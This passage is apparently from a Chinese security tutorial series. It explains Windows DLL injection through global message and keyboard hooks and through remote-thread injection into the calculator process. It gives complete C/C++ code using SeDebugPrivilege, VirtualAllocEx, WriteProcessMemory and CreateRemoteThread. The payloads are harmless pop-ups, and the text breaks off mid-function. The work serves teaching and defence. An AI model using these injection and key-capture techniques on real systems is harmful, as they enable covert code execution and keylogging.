    • 局部钩子: 针对某个线程的
    • 全部钩子: 针对整个系统基于消息的应用,需要使用DLL文件,在DLL中实现相应的钩子函数

    1.函数介绍

    SetWindowsHookEx函数
    将程序定义的钩子函数安装到挂钩链中,安装钩子程序可以监视系统是否存在某些类型的事件,这些事件与特定线程或调用线程所在桌面中的所有线程相关联。函数原网址如下:
    http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx

    HHOOK WINAPI SetWindowsHookEx(
      _In_  int idHook,        //设置钩子的类型
      _In_  HOOKPROC lpfn,     //根据钩子类型 设置不同的回调函数
      _In_  HINSTANCE hMod,    //钩子设置的Dll实例句柄
      _In_  DWORD dwThreadId   //设置钩子的线程ID 如果为0则设置为全局钩子
    );
    

    参数

    • idHook[in]:表示要安装的钩子程序的类型,该参数可以使以下值。
    含义
    WH_CALLWNDPROC 安装钩子程序,在系统将消息发送到目标窗口过程之前监视
    WH_CALLWNDPROCRET 安装钩子程序,在目标窗口过程处理消息后监视消息
    WH_CBT 安装接收对CBT应用程序有用通知的钩子程序
    WH_DEBUG 安装可用于调试其他钩子程序的钩子程序
    WH_FOREGROUNDIDLE 安装在应用程序的前台线程即将变为空闲时调用的钩子过程,该钩子对于在空闲时执行低优先级任务很有用
    WH_GETMESSAGE 安装一个挂钩过程,它监视发送到消息队列的消息
    WH_JOURNALPLAYBACK 安装一个挂钩过程,用于发布先前由WH_JOURNALRECORD挂钩过程记录的消息
    WH_JOURNALRECORD 安装一个挂钩过程,记录发布到系统消息队列中的输入消息,这个钩子对于录制宏很有用
    WH_KEYBOARD 安装监视案件消息的挂钩过程
    WH_KEYBOARD_LL 安装监视低级键盘输入事件的挂钩过程
    WH_MOUSE 安装监视鼠标消息的挂钩过程
    WH_MOUSE_LL 安装监视低级鼠标输入事件的挂钩过程
    WH_MSGFILTER 安装钩子程序,用于在对话框、消息框、菜单或滚动条中监视由于输入事件而生产的消息
    WH_SHELL 安装接收对shell应用程序有用通知的钩子程序
    WH_SYSMSGFILTER 安装钩子程序,用于在对话框、消息框、菜单或滚动条中监视由于输入事件而生成的消息,钩子程序监视与调用线程相同桌面中所有应用程序的这些消息
    • lpfn[in]:一个指向钩子程序的指针,如果dwThreadId参数为0或指定由不同进程创建线程标识符,则lpfn参数必须指向DLL中的钩子过程。否则,lpfn可以指向与当前进程关联的代码中的钩子过程。
    • hMod[in]:包含由lpfn参数指向的钩子过程的DLL句柄,如果dwThreadId参数指定由当前进程创建线程,并且钩子过程位于与当前进程关联的代码中,则hMod参数必须设置为NULL。
    • dwThreadId[in]:与钩子程序关联的线程标识符,如果此参数为0,则钩子过程与系统中所有线程相关联。

    返回值

    • 如果函数成功,则返回值是钩子过程的句柄
    • 如果函数失败,则返回值为NULL


    2.钩子原理详解

    如果创建的是全局钩子,那么钩子函数必须在一个DLL中。因为进程的地址空间是独立的,发送对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加载到发生事件的进程地址空间中,使它能够调用钩子函数进行处理。

    在操作系统中安装全局钩子后,只要进程接收到可以发出钩子的消息,全局钩子的DLL文件就会由操作系统自动或强行地加载到该进程中。因此,设置全局钩子可以达到DLL注入的目的。创建一个全局钩子后,在对应事件发生时,系统就会把DLL加载到发生事件的进程中,从而实现DLL注入。具体步骤如下:

    (1) 设置WH_GETMESSAGE消息的全局钩子
    该类型的钩子会监视消息队列,并且Windows系统是基于消息驱动的,所有进程都会有自己的一个消息队列,都会加载WH_GETMESSAGE类型的全局钩子DLL。

    BOOL SetGlobalHook()
    {
    	g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
    	if(NULL == g_hHook) {
    		return FALSE;
    	}
    	return TRUE;
    }
    

    其中,SetWindowsHookEx函数的参数含义如下:

    • 第一个参数表示钩子的类型,WH_GETMESSAGE表示安装消息队列的消息钩子,它可以监视发送到消息队列的消息
    • 第二个参数表示钩子回调函数
    • 第三个参数表示包含钩子回调函数的DLL模块句柄,如果设置全局钩子,则该参数必须指定DLL模块句柄
    • 第四个参数表示与钩子关联的线程ID,0表示全局钩子,它关联所有线程。
    • 返回值是钩子的句柄,该值需要保存。因为回调钩子函数以及卸载钩子都需要用到该句柄作为参数。

    (2) 钩子回调函数实现
    当成功设置全局钩子后,只有进程有消息发送到消息队列中,系统才会自动将指定的DLL模块加载到进程中,实现DLL注入。WH_GETMESSAGE全局钩子的钩子回调函数具体的实现代码如下:

    LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
    {
    	return ::CallNextHookEx(g_hHook, code, wParam, lParam);
    }
    

    回调函数的参数和返回值的数据类型是固定的,其中CallNextHookEx函数表示将当前钩子传递给钩子链中的下一个钩子,第一个参数要指定当前钩子的句柄。如果直接返回0,则表示中断钩子传递,对钩子进行拦截。


    (3) 卸载全局钩子
    当钩子不再使用时,可以卸载全局钩子,此时已经包含钩子回调函数的DLL模块的进程,将会释放DLL模块。卸载全局钩子的具体代码如下:

    BOOL UnsetGlobalHook()
    {
    	if(g_hHook) {
    		::UnhookWindowsHookEx(g_hHook);
    	}
    	return TRUE;
    }
    

    其中函数UnhookWindowsHookEx的参数是卸载钩子的句柄。卸载成功后,所有加载了全局钩子的DLL模块进行都会释放该DLL模块。


    (4) 创建共享内存
    全局钩子是以DLL形式加载到其他进程空间中,而且进程都是独立的,所以任意修改其中一个内存里的数据是不会影响另一个进程的。那么,如何将钩子句柄传递给其他进程呢?

    为了解决该问题,我们采用在DLL中创建共享内存。共享内存是指突破进程独立性,多个进程共享同一段内存。在DLL中创建共享内存,就是在DLL中创建一个变量,然后将DLL加载到多个进程空间,只要一个进程修改了该变量值,其他进程DLL中的这个值也会改变,相当于多个进程共享一个内存。

    共享内存先为DLL创建一个数据段,然后再对程序的链接器进行设置,把指定的数据段链接为共享数据段,这样就可以创建共享内存。代码如下,使用#pragma data_seg创建一个名为“mydata”的数据段,然后使用"/SECTION:mydata, RWS"设置数据段为可读、可写、可共享的数据段。

    //共享内存
    #pragma data_seg("mydata")
    	HHOOK g_hHook = NULL;
    #pragma data_seg();
    #pragma comment(linker, "/SECTION:mydata, RWS")
    


    3.编程实现

    (1) 创建DLL工程项目
    第一步,使用VS2019建立DLL工程,设置工程名称为“DLL1”。

    在这里插入图片描述

    弹出的解决方案资源管理器中就是我们新建的DLL工程。

    在这里插入图片描述

    第二步,工程中添加一个HOOK.h的头文件,添加如下代码:

    #pragma once
    
    #define MYWINDAPIEXPORT __declspec(dllexport)
    
    //定义为全局HOOK 返回的钩子过程
    HHOOK g_HookProc;                   
    
    //设置HOOK钩子 
    void MYWINDAPIEXPORT SetHook();     
    
    //取消设置HOOK
    void MYWINDAPIEXPORT UnHook();      
    
    //设置HOOK过程中需要的回调函数
    LRESULT CALLBACK MyProc(int nCode, WPARAM wParam, LPARAM lParam); 
    

    第三步,创建HOOK.cpp文件并添加代码。

    #include <Windows.h>
    #include "HOOK.H"
    
    //设置HOOK
    void MYWINDAPIEXPORT SetHook()
    {
        //参数:HOOK的类型 Hook的回调地址 模块句柄 线程ID(0代表是全局钩子)
        g_HookProc = ::SetWindowsHookEx(WH_GETMESSAGE, MyProc, 
            GetModuleHandle(TEXT("Dll1.dll")), 0); 
    }
    
    //取消HOOK
    void MYWINDAPIEXPORT UnHook()                                                                    
    {
        if (NULL != g_HookProc) {
            ::UnhookWindowsHookEx(g_HookProc);
        }
    }
    
    //回调函数 处理程序
    LRESULT CALLBACK MyProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
        //执行我们的程序
        MessageBox(NULL, "加载钩子!", "提示", MB_OK);
        //继续调用钩子过程
        return CallNextHookEx(g_HookProc, nCode, wParam, lParam);
    }
    

    如果提示错误“在查找预编译头时遇到意外的文件结尾。是否忘记了向源中添加#include “pch.h””,则设置不使用预编译头即可。接着程序会生成Dll1.dll和Dll1.lib文件。

    在这里插入图片描述


    (2) 通过外部程序来调用HOOK
    虽然创建了dll文件,接下来我们还需要一个外部程序来调用我们的导出函数SetHOOK以及UnHOOK。由于SetHook和UnHOOK导出函数是在dll中使用的,所以我们需要想办法使用这两个函数。

    • 静态调用: 在生成DLL的时候会生成对应的lib,我们需要在程序中添加.h头文件,使用宏指令包含.lib文件。
    • 动态调用: 通过两个API函数实现,Loadlibaray()用于获取dll的实例句柄,GetProcAddress()根据实例句柄以及函数名来获取函数的地址。

    接下来我们通过静态调用的方法调用HOOK程序。

    第一步,创建基于对话框的MFC程序,项目名称为“UseHook”。

    在这里插入图片描述

    在这里插入图片描述

    第二步,设置界面如下图所示,添加两个按钮并导出生成对应的函数。

    在这里插入图片描述

    void CUseHookDlg::OnBnClickedButton1()
    {
    	// TODO: 在此添加控件通知处理程序代码
    }
    
    void CUseHookDlg::OnBnClickedButton2()
    {
    	// TODO: 在此添加控件通知处理程序代码
    }
    

    第三步,将库文件、动态库、头文件(Dll1.lib、Dll1.dll、HOOK.h)复制到MFC项目目录,且DLL文件需要复制到Debug目录下,并添加对应代码。

    在这里插入图片描述

    在UseHookDlg.cpp文件中使用宏命令包含我们dll的lib。#pragma仅仅影响编译器编译的时候,link .lib库的问题,和运行时没有任何关系。它会告诉系统需要静态加载一个.dll文件。当程序运行时再加载这个.dll文件。至于如何加载这个.dll文件,它有自己的加载方式,程序发布后只需向客户提供.exe和.dll(同一个目录)即可。

    //添加lib库
    #include "HOOK.h"
    #pragma comment(lib, "Dll1.lib")
    

    第四步,按钮点击函数中添加对应的调用。

    //设置HOOK
    void CUseHookDlg::OnBnClickedButton1()
    {
    	SetHook();
    }
    
    //卸载HOOK
    void CUseHookDlg::OnBnClickedButton2()
    {
    	UnHook();
    }
    

    第五步,通过Process Explorer查看我们的HOOK状态。

    Process Explorer是一款免费的增强型任务管理器。它能让使用者了解看不到的在后台执行的处理程序,可以使用它方便地管理你的程序进程。 能监视、挂起、重启、强行终止任何程序,包括系统级别的不允许随便终止的关键进程和十分隐蔽的顽固木马。除此之外,它还详尽地显示计算机信息: CPU、内存、I/O使用情况,可以显示一个程序调用了哪些动态链接库DLL,句柄,模块,系统进程,以目录树的方式查看进程之间的归属关系,可以对进程进行调试。

    打开软件如下图所示:

    在这里插入图片描述

    接着我们运行程序,可以看到“UseHook.exe”进程。

    在这里插入图片描述

    在“View”中设置“Dlls”可见,可以看到该进程调用的所有DLL文件。

    在这里插入图片描述

    如下图所示,显示了“Dll1.dll”,该文件即为我们全局钩子注入的结果。

    在这里插入图片描述

    本程序主要通过调用SetWindowsHookEx函数设置全局钩子,完成DLL注入。通过调用CallNextHookEx函数传递钩子,使得进程继续运行。通过调用UnhookWindowsHookEx函数卸载钩子,实现DLL释放。

    注意,user32.dll导出的gShareInfo全局变量可以枚举系统中所有全局钩子的信息,包括钩子的句柄、消息类型以及回调函数地址等。PE结构的节属性Characteristics若包含IMAGE_SCN_MEM_SHARED标志,则表示该节在内存中是共享的。

    PE文件结构推荐作者前文:
    六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)



    4.键盘钩子

    下面补充键盘钩子和鼠标钩子的实例,推荐及参考文章:

    监视键盘消息的钩子函数如下:

    
    LRESULT CALLBACK KeyboardProc(
        int code,		    //hook code
        WPARAM wParam,		//virtual-key code
        LPARAM lParam		//keystroke-message information
    )
    

    监视鼠标消息的钩子函数如下:

    LRESULT CALLBACK MouseProc(      
        int nCode,		    //hook code
        WPARAM wParam,		//message identifier
        LPARAM lParam		//mouse coordinates
    );
    

    (1) 创建DLL工程项目
    第一步,使用VS2019建立DLL工程,设置工程名称为“DLL2”,然后在头文件中添加两个导出函数和两个全局。

    pch.h

    #ifndef PCH_H
    #define PCH_H
    
    // 添加要在此处预编译的标头
    #include "framework.h"
    
    #define MY_API __declspec(dllexport)
    extern "C" MY_API VOID SetHookOn();
    extern "C" MY_API VOID SetHookOff();
    
    static HHOOK g_Hook = NULL;		//钩子句柄
    static HINSTANCE g_Inst = NULL;	//DLL模块句柄
    
    #endif //PCH_H
    

    第二步,在DllMain中保存该DLL模块的句柄,以方便安装全局钩子。接着添加钩子相关函数。

    DLL(Dynamic Link Library,动态连接库)是一个可以被其他应用程序调用的应用模块,其中封装了可以被调用的资源或函数。DLL属于可执行文件,他符合Windows系统的PE文件格式,不过他的运行是依附于EXE文件创建的进程来执行的,不能单独运行。一个DLL文件可以被多个进程所装载调用。DLL程序的编写与运行都有别于常见的命令行程序或Windows程序,程序的入口不是main函数,也不是WinMain函数,而是DllMain函数。

    dllmain.cpp

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:     //动态库装载时调用
            //保存DLL模块句柄
            g_Inst = (HINSTANCE)hModule;
            MessageBox(NULL, TEXT("加载DLL!"), TEXT("提示"), MB_OK);
            break;
        case DLL_THREAD_ATTACH:     //进程中有线程创建时调用
        case DLL_THREAD_DETACH:     //进程中有线程结束时调用
        case DLL_PROCESS_DETACH:    //动态库卸载是调用
            break;
        }
        return TRUE;
    }
    
    //钩子回调函数
    LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
    {
        //如果code小于0必须调用CallNextHookEx传递消息
        if (code < 0) {
            return CallNextHookEx(g_Hook, code, wParam, lParam);
        }
    
        //如果code等于HC_ACTION表示消息中包含按键消息
        //如果为WM_KEYDOWN则显示按键对应的文本
        if (code == HC_ACTION && lParam > 0) {
            char szBuf[MAXBYTE] = { 0 };
            GetKeyNameText(lParam, szBuf, MAXBYTE);
            MessageBox(NULL, szBuf, "提示", MB_OK);
        }
        return CallNextHookEx(g_Hook, code, wParam, lParam);
    }
    
    //安装钩子
    VOID SetHookOn()
    {
        g_Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_Inst, 0);
    }
    
    //卸载钩子
    VOID SetHookOff()
    {
        UnhookWindowsHookEx(g_Hook);
    }
    

    第三步,运行代码生成对应的Dll2.dll和Dll2.lib文件。

    在这里插入图片描述

    注意:如果提示“错误 LNK2005 “自定义的变量” 已经在 dllmain.obj 中定义”,只要将这个共用的变量定义成静态变量,即这个变量加上static修饰后再编译就不会有这个错误了。

    在这里插入图片描述


    (2) 新建MFC键盘程序。
    编译链接后产生我们需要的.dll和.lib文件,然后新建一个项目来导入动态库内容调用相关函数。

    第一步,新建MFC对话框项目“KBSetHook”,界面设置如下图所示。

    void CKBSetHookDlg::OnBnClickedButton1()
    {
    	// TODO: 在此添加控件通知处理程序代码
    }
    
    void CKBSetHookDlg::OnBnClickedButton2()
    {
    	// TODO: 在此添加控件通知处理程序代码
    }
    

    在这里插入图片描述

    第二步,导入库并声明将要调用的函数。

    //导入lib库
    #pragma comment(lib, "Dll2.lib")
    extern "C" VOID SetHookOn();
    extern "C" VOID SetHookOff();
    

    第三步,设置按钮函数,包括全局钩子注入和释放。

    //钩子注入
    void CKBSetHookDlg::OnBnClickedButton1()
    {
    	SetHookOn();
    }
    
    //钩子释放
    void CKBSetHookDlg::OnBnClickedButton2()
    {
    	SetHookOff();
    }
    

    第四步,将Dll2.lib复制到工程目录下,Dll2.dll复制到Debug目录。

    在这里插入图片描述

    第五步,接着运行程序。首先弹出一个对话框“加载DLL”,然后当我们点击“HookON”按钮之后会记录所有键盘信息;按下“HookOff”后会取消键盘注入。

    在这里插入图片描述

    在这里插入图片描述

    写到这里,一个简单的全局钩子注入DLL就讲解完毕,更多知识作者后续会结合恶意样本分析进行深入讲解。比如采用IDA静态分析或OD动态调试,显示如下图所示:

    在这里插入图片描述

    在这里插入图片描述

    同时推荐大家去我Github下载本文的源代码:



    二.远线程注入

    远线程注入是指一个进程在另一个进程中创建线程的技术,是一种病毒木马所青睐的注入技术,同时也是一种巧妙、经典的DLL注入技术。

    1.函数介绍

    OpenProcess函数:打开现有的本地进程对象。

    HANDLE WINAPI OpenProcess(
    	DWORD dwDesiredAccess,   //渴望得到的访问权限(标志)
    	BOOL bInheritHandle,     //是否继承句柄
    	DWORD dwProcessId        //进程标示符
    );
    

    参数

    • dwDesiredAccess[in]:访问进程对象。此访问权限为针对进程的安全描述符进行检查,此参数可以是一个或多个进程访问权限。如果调用该函数的进程启用了SeDebugPrivilege权限,则无论安全描述符的内容是什么,它都会授予所请求的访问权限。
    • bInheritHandle[in]:若此值为TRUE,则此进程创建的进程将继承该句柄。否则,进程不会继承此句柄。
    • dwProcessId[in]:要打开的本地进程PID。

    返回值

    • 如果函数成功,则返回值是指定进程的打开句柄。
    • 如果函数失败,则返回值为NULL,想要获取扩展的错误信息,需调用GetLastError查看。

    VirtualAllocEx函数:在指定进程的虚拟地址空间内保留、提交或更改内存的状态。

    LPVOID WINAPI VirtualAllocEx(
    	HANDLE hProcess,
    	LPVOID lpAddress,
    	SIZE_T dwSize,
    	DWORD flAllocationType,
    	DWORD flProtect
    );
    

    参数

    • hProcess[in]:过程句柄,此函数申请内存所在的进程句柄,句柄必须具有PROCESS_VM_OPERATION权限。
    • lpAddress[in]:指定要分配页面所需起始地址的指针,如果lpAddress为NULL,则该函数自动分配内存。
    • dwSize[in]:欲分配的内存大小,单位字节。注意实际分配的内存大小是页内存大小的整数倍。
    • flAllocationType[in] :内存分配类型,此参数必须为以下值。MEM_COMMIT表示在词频的分页文件和整体内存中,为指定的预留内存页分配内存;MEM_RESERVE保留进程中虚拟地址空间的范围,但不会在内存或磁盘上的分页文件中分配任何实际物理存储位置;MEM_RESET表示不再关注由lpAddress和dwSize指定的内存范围的数据,页面不应从页面文件中读取或写入;MEM_RESET_UNDO表示只能在早期成功应用了MEM_RESET的地址范围内调用MEM_RESET_UNDO。
    • flProtect[in]:要分配的页面区域的内存保护。如果页面已提交,则可以指定任何一个内存保护常量,如果lpAddress指定了一个地址,则flProtect不能是以下值之一:PAGE_NOACCESS、PAGE_GUARD、PAGE_NOCACHE、PAGE_WRITECOMBINE。

    返回值

    • 如果函数成功,则返回值是分配页面的基址。
    • 如果函数返回失败,则返回值为NULL。

    WriteProcessMemory函数:在指定的进程中将数据写入内存区域,要写入的整个区域必须可访问,否则操作失败。

    BOOL WINAPI WriteProcessMemory(
    	HANDLE hProcess,
    	LPVOID lpBaseAddress,
    	LPVOID lpBuffer,
    	DWORD nSize,
    	LPDWORD lpNumberOfBytesWritten
    );
    

    参数

    • hProcess[in]:要修改的进程内存句柄,句柄必须具有PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问权限。
    • lpBaseAddress[in]:指向指定进程中写入数据的基地址指针,在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据是否可以进行写入访问,如果不可以访问,则该函数将失败。
    • lpBuffer[in]:指向缓冲区的指针,其中包含要写入指定进程的地址空间中的数据。
    • nSize[in]:要写入指定进程的字节数。
    • lpNumberOfBytesWritten[in]:指向变量的指针,该变量接收传输到指定进程的字节数。

    返回值

    • 如果函数成功,则返回值不为零。
    • 如果函数失败,则返回值为零。

    CreateRemoteThread函数:在另一个进程的虚拟地址空间中创建运行的线程。

    HANDLE WINAPI CreateRemoteThread(
    	__in HANDLE hProcess,
    	__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
    	__in SIZE_T dwStackSize,
    	__in LPTHREAD_START_ROUTINE lpStartAddress,
    	__in LPVOID lpParameter,
    	__in DWORD dwCreationFlags,
    	__out LPDWORD lpThreadId
    );
    


    2.实现原理

    远线程注入DLL之所以称为远线程,是由于它使用关键函数CreateRemoteThread来在其他进程空间中创建一个线程。那么,它为何能够使其他进程加载一个DLL,实现DLL注入呢?这是理解远线程注入原理的关键。

    在这里插入图片描述

    首先,程序在加载一个DLL时,它通常调用LoadLibrary函数来实现DLL的动态加载。先看看LoadLibrary函数的声明:

    HMODULE WINAPI LoadLibrary(_In_ LPCTSTR lpFileName)
    

    从上面的函数声明可以知道,LoadLibrary函数只有一个参数,传递的是要加载的DLL路径字符串。然后再看下创建远线程的函数CreateRemoteThread的声明:

    HANDLE WINAPI CreateRemoteThread(
    	__in HANDLE hProcess,
    	__in LPSECURITY_ATTRIBUTES lpThreadAttributes,
    	__in SIZE_T dwStackSize,
    	__in LPTHREAD_START_ROUTINE lpStartAddress,
    	__in LPVOID lpParameter,
    	__in DWORD dwCreationFlags,
    	__out LPDWORD lpThreadId	
    );
    

    从声明中可以知道,CreateRemoteThread需要传递的是目标进程空间中的多线程函数地址,以及多线程参数,其中参数类型是空指针类型。

    接下来,将上述两个函数声明结合起来思考,如果程序能够获取目标进程LoadLibrary函数的地址,而且还能够获取目标进程空间中某个DLL路径字符串的地址,那么可以将LoadLibrary函数的地址作为多线程函数的地址,某个DLL路径字符串作为多线程函数的参数,并传递给CreateRemoteThread函数在目标进程空间中创建一个多线程。这样就可以在目标进程空间中创建一个多线程,这个多线程就是LoadLibrary函数加载DLL。

    要想实现远线程注入DLL,还需要解决以下两个问题:

    • 一是目标进程空间中LoadLibrary函数的地址是多少。
      解决方案是由于Windows引入了基址随机化ASLR(Address Space Layout Randomization)安全基址,所以导致每次开机时系统DLL的加载基址就不一样,从而导致了DLL导出函数的地址也都不一样。
      有些DLL(例如kernel32.dll、ntdll.dll)的加载基地址,要求系统启动之后必须固定,如果系统重新启动,则其地址可以不同。换句话,虽然进程不同,但开机后kernel32.dll的加载基址在各个进程中都是相同的,因此导出函数的地址也相同。所以,自己程序空间的LoadLibrary函数地址和其他进程空间的LoadLibrary函数地址相同。

    • 二是如何向目标进程空间中写入DLL路径字符串数据。
      直接调用VirtualAllocEx函数在目标进程空间中申请一块内存,然后再调用WriteProcessMemory函数将指定的DLL路径写入到目标进程空间中,这样便解决了第二个问题。

    最终,程序可以调用CreateRemoteThread函数实现远线程注入DLL。



    3.计算器远线程注入实现

    推荐及参考文献:

    远线程的基本流程如下:

    • 首先使用进程PID获取目标进程的句柄
    • 使用进程句柄申请内存空间,要能够容纳DLL路径信息字符串的长度
    • 将DLL路径信息字符串写入申请的内存中
    • 创建远程线程,获取注入程序中LoadLibraryA的函数地址(前面已经说明该地址在目标程序中同样适用)
    • 调用CreateRemoteThread在目标进程中创建一个线程,该线程调用LoadLibraryA加载准备的DLL
    • 释放收尾工作或卸载DLL

    (1) 编写DLL程序
    该程序非常简单,仅包含一个MessageBox弹窗函数。

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH: //动态库装载时调用
            MessageBox(NULL, TEXT("远线程注入DLL文件!"), TEXT("提示"), MB_OK);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    生成“Dll3.dll”文件,为下面的MFC注入使用。


    (2) 编写MFC程序
    第一步,新建对话框MFC工程,项目名称为“YCHook”。

    在这里插入图片描述

    第二步,设置如下图所示的对话框,双击按钮生成对应函数。

    void CYCHookDlg::OnBnClickedButton2()
    {
    	// TODO: 在此添加控件通知处理程序代码
    }
    
    void CYCHookDlg::OnBnClickedButton1()
    {
    	// TODO: 在此添加控件通知处理程序代码
    }
    

    在这里插入图片描述

    第三步,控件绑定变量,编辑框是一个CString类型的m_strDllPath。点击“项目”->“类向导”,然后添加变量。

    //YCHookDlg.h自动添加
    public:
    	afx_msg void OnBnClickedButton2();
    	afx_msg void OnBnClickedButton1();
    	CString m_strDllPath;
    

    在这里插入图片描述

    在这里插入图片描述

    第四步,撰写选择文件代码,其目的是获取文件路径,存放在变量m_strDllPath中。

    //选择文件
    void CYCHookDlg::OnBnClickedButton2()
    {
    	CFileDialog dlg(TRUE);
    	if (IDCANCEL == dlg.DoModal()) {
    		return;
    	}
    	m_strDllPath = dlg.GetPathName();
    	UpdateData(FALSE);
    }
    

    第五步,撰写注入按钮事件。

    • 首先判断路径有没有选择文件,变量是否为空。
    • 接着提升进程权限,打开进程访问令牌,并查询进程的特权信息,调节访问令牌特权属性
    • 查找窗口,根据窗口句柄,获取进程PID
    • 根据PID获取进程句柄
    • 在远程进程中申请内存空间
    • 将dll路径写入远程进程中,在自己的进程中创建一个线程CreateThread
    • 在远程进程中开辟一个线程
    //点击注入
    void CYCHookDlg::OnBnClickedButton1()
    {
    	/* 第一步,判断路径有没有选择文件,变量是否为空 */
    	UpdateData(TRUE);
    	if (m_strDllPath.IsEmpty())
    	{
    		MessageBox(TEXT("请选择dll文件"), TEXT("提示"), MB_OK);
    		return;
    	}
    	MessageBox(m_strDllPath, TEXT("提示"), MB_OK);
    
    	/* 第二步提升进程权限,打开进程访问令牌 */
    	CString strMsg;
    	HANDLE hToken;
    	if (FALSE == OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken))
    	{
    		strMsg.Format(TEXT("打开进程令牌失败.错误码:%d"), GetLastError());
    		MessageBox(strMsg, TEXT("提示"), MB_OK);
    		return;
    	}
    	//查询进程的特权信息
    	LUID luid;
    	if (FALSE == LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    	{
    		strMsg.Format(TEXT("查询系统特权属性失败.错误码:%d"), GetLastError());
    		MessageBox(strMsg, TEXT("提示"), MB_OK);
    		return;
    	}
    	//调节访问令牌特权属性
    	TOKEN_PRIVILEGES tkp;
    	tkp.PrivilegeCount = 1;
    	tkp.Privileges[0].Luid = luid;
    	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    	if (FALSE == AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
    	{
    		strMsg.Format(TEXT("调节访问令牌特权属性失败.错误码:%d"), GetLastError());
    		MessageBox(strMsg, TEXT("提示"), MB_OK);
    		return;
    	}
    
    	/* 第三步,查找窗口,根据窗口句柄,获取进程PID */
    	HWND hCalc = ::FindWindow(TEXT("CalcFrame"), TEXT("计算器"));  //32位 CalcFrame
    	if (hCalc == NULL)
    	{
    		strMsg.Format(TEXT("没有找到该类型窗口.错误码:%d"), GetLastError());
    		MessageBox(strMsg, TEXT("提示"), MB_OK);
    		return;
    	}
    	DWORD dwPID = 0;
    	GetWindowThreadProcessId(hCalc, &dwPID);
    	if (dwPID == 0)
    	{
    		strMsg.Format(TEXT("获取窗口PID失败.错误码:%d"), GetLastError());
    		MessageBox(strMsg, TEXT("提示"), MB_OK);
    		return;
    	}
    
    	/* 第四步,根据PID获取进程句柄 */
    	HANDLE hCalcProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
    	if (hCalcProcess == NULL)
    	{
    		strMsg.Format(TEXT("获取进程句柄失败.错误码:%d"), GetLastError());
    		MessageBox(strMsg, TEXT("提示"), MB_OK);
    		return;
    	}
    
    	/* 第五步,在远程进程中申请内存空间 */
    	DWORD dwSize = m_strDllPath.GetLength() + 1;
    	LPVOID lpAddr = VirtualAllocEx(hCalcProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	if (lpAddr == NULL)
    	{
    		strMsg.Format(TEXT("在远程进程下申请内存失败.错误码:%d"), GetLastError());
    		MessageBox(strMsg, TEXT("提示"), MB_OK);
    		return;
    	}
    
    	/* 第六步,将dll路径写入远程进程 */
    	if (FALSE == WriteProcessMemory(hCalcProcess, lpAddr, m_strDllPath, dwSize, NULL))
    	{
    		strMsg.Format(TEXT("在远程进程中写入失败.错误码:%d"), GetLastError());
    		MessageBox(strMsg, TEXT("提示"), MB_OK);
    		return;
    	}
    	//在自己的进程中创建一个线程 CreateThread
    	PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
    		GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibraryA");
    
    	/* 第七步,在远程进程中开辟一个线程 */
    	HANDLE hThreadHandle = CreateRemoteThread(hCalcProcess, NULL, 0, pfnStartAddr, lpAddr, 0, NULL);
    	if (hThreadHandle == NULL)
    	{
    		strMsg.Format(TEXT("在远程进程中创建线程失败.错误码:%d"), GetLastError());
    		MessageBox(strMsg, TEXT("提示"), MB_OK);
    		return;
    	}
    	MessageBox(TEXT("在远程进程中创建线程成功"), TEXT("提示"), MB_OK);
    }
    


    4.测试结果

    该程序通过PID获取进程句柄,并在远程线程中申请空间,接着使用WriteProcessMemory将dll路径写入远程进程,并使用CreateRemoteThread在目标进程中开辟一个线程。运行代码,并选择生成的“Dll3.dll”文件。

    在这里插入图片描述

    然后会弹出选择路径。

    在这里插入图片描述

    如果提示如下错误,是因为我们没有打开计算器程序,这里打开即可(作者github也提供了该工具)。

    在这里插入图片描述

    如果提示CreateRemoteThread()错误并返回错误代码5,是因为权限不够,需要用管理员权限运行。同时,OpenProcess函数打开高权限进程时,程序会因权限不足而无法打开进程及获取句柄。

    在这里插入图片描述

    某些操作系统软件都是64位,而在编译的时候都是默认编译为32位的程序的问题,只要重新编译成64位的程序就可以注入。如下图所示:

    在这里插入图片描述

    注入成功如下所示,会提示远线程进程成功创建。

    在这里插入图片描述

    在这里插入图片描述

    这里大家可以思考一个问题,360杀毒软件是怎么知道我们的程序是远程线程注入呢?哈哈,大家在学习安全的时候尽量结合实际防御软件进行思考。

    在这里插入图片描述

    PS:这里存在一个问题,为什么DLL对话框没有弹窗呢?欢迎大家讨论。



    5.远线程注入简化版

    最后补充一种更简单的远线程DLL注入方法,显示结果如下图所示,我们使用第一部分生成的“Dll2.dll”进行。

    #include <windows.h>
    #include <stdio.h>
    #include <iostream>
    using namespace std;
    
    //远程线程注入
    bool RemoteThreadInject(SIZE_T dwPid)
    {
    	//1.使用PID打开进程获取权限
